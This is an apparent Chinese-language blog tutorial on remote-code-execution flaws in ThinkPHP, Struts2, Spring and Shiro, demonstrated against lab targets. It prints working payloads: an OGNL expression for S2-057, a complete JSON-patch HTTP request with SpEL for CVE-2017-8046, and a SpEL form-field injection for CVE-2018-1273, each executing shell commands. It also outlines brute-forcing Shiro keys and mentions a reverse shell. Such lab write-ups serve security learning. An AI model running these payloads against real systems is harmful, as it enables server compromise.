常见的框架漏洞

框架

Web框架(Web framework)或者叫做Web应用框架(Web application framework),是用于进行Web开发的一套软件架构。大多数的Web框架提供了一套开发和部署网站的方式。为Web的行为提供了一套支持支持的方法。使用Web框架,很多的业务逻辑外的功能不需要自己再去完善,而是使用框架已有的功能就可以。

1Thinkphp(TP)

简介

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。TP(2-6)(5-目前使用率较高的)


Thinkphp5x远程命令执行及getshell

thinkphp5最出名的就是rce,界面如下:

漏洞利用

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。 

用工具

2.struts2

简介

Apache Struts 2最初被称为 WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。

Struts 2 是一个基于MVC设计模式的web应用框架
MVC:模型(Model)、视图(View)、控制器(Controller):
        模型 ---属于软件设计模式的底层基础,主要负责数据维护,
        视图 --- 这部分是负责向用户呈现全部或部分数据。
        控制器 --- 通过软件代码控制模型和视图之间的交互 

 S2-057远程执行代码漏洞
漏洞简介

漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。


S2-057 先决条件:

alwaysSelectFullNamespace 正确-操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞。

漏洞利用 
开启界面

在url处输入 http://192.168.56.134:8080/struts2-
showcase/${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了 

将 上⾯验证payload的值修改为我们的利⽤exp:

 并且是编码之后的

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}


3. Spring
1.Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)
1. 访问 Markdown http://your-ip:8080/customers/1 ,然后抓取数据包,使⽤PATCH请求来修改

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
 
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
 其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,11 5} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码 成功发送数据包之后,可以进⼊docker容器内查看是否执⾏命令 进⼊docker容器:写入成功

接下来就可以进行反弹shell操作

2.spring代码执行(CVE-2018-1273)
漏洞简介

Spring Data 是⼀个⽤于简化数据库访问,并⽀持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有⼦项⽬共享的基础框架。Spring Data Commons 在 2.0.5 及 以前版本中,存在⼀处 SpEL 表达式注⼊漏洞,攻击者可以注⼊恶意 SpEL 表达式以执⾏任意命 令。

 访问靶场地址:http://192.168.56.134:8080/users

填写信息然后抓包

加 上 poc

 username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
 ouch /tmp/zcc")]=&password=&repeatedPassword=

 进⼊终端查看,可以看到成功写⼊: docker exec -it b10ecde567a2 /bin/bash

4.Shiro


简介
   Apache Shiro是⼀个强⼤易⽤的Java安全框架,提供了认证、授权、加密和会话管理等功 能。Shiro框架直观、易⽤,同时也能提供健壮的安全性。 

Shiro rememberMe反序列化漏洞(Shiro-550)
1.漏洞原理
       Apache Shiro框架提供了记住密码的功能(RememberMe),⽤户登录成功后会⽣成经过 加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反 序列化,就导致了反序列化RCE漏洞。

      那么,Payload产⽣的过程:

                 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

        在整个漏洞利⽤过程中,⽐较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很 容易就知道密钥了,Payload构造起来也是⼗分的简单。

2.漏洞利用
访问靶场

验证Shiro框架 使⽤BurpSuite进⾏抓包,在请求包中的cookie字段中添加 rememberMe=123;,看响应包 header中是否返回 rememberMe=deleteMe值,若有,则证明该系统使⽤了Shiro框架: 

有该字段表示有这种框架,接下来用工具

先检测当前秘钥,然后如果没有的话爆破秘钥,最后检测当前利用链,没有的话爆破利用链,然后出现漏洞就可以用命令执行了

  • 14
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值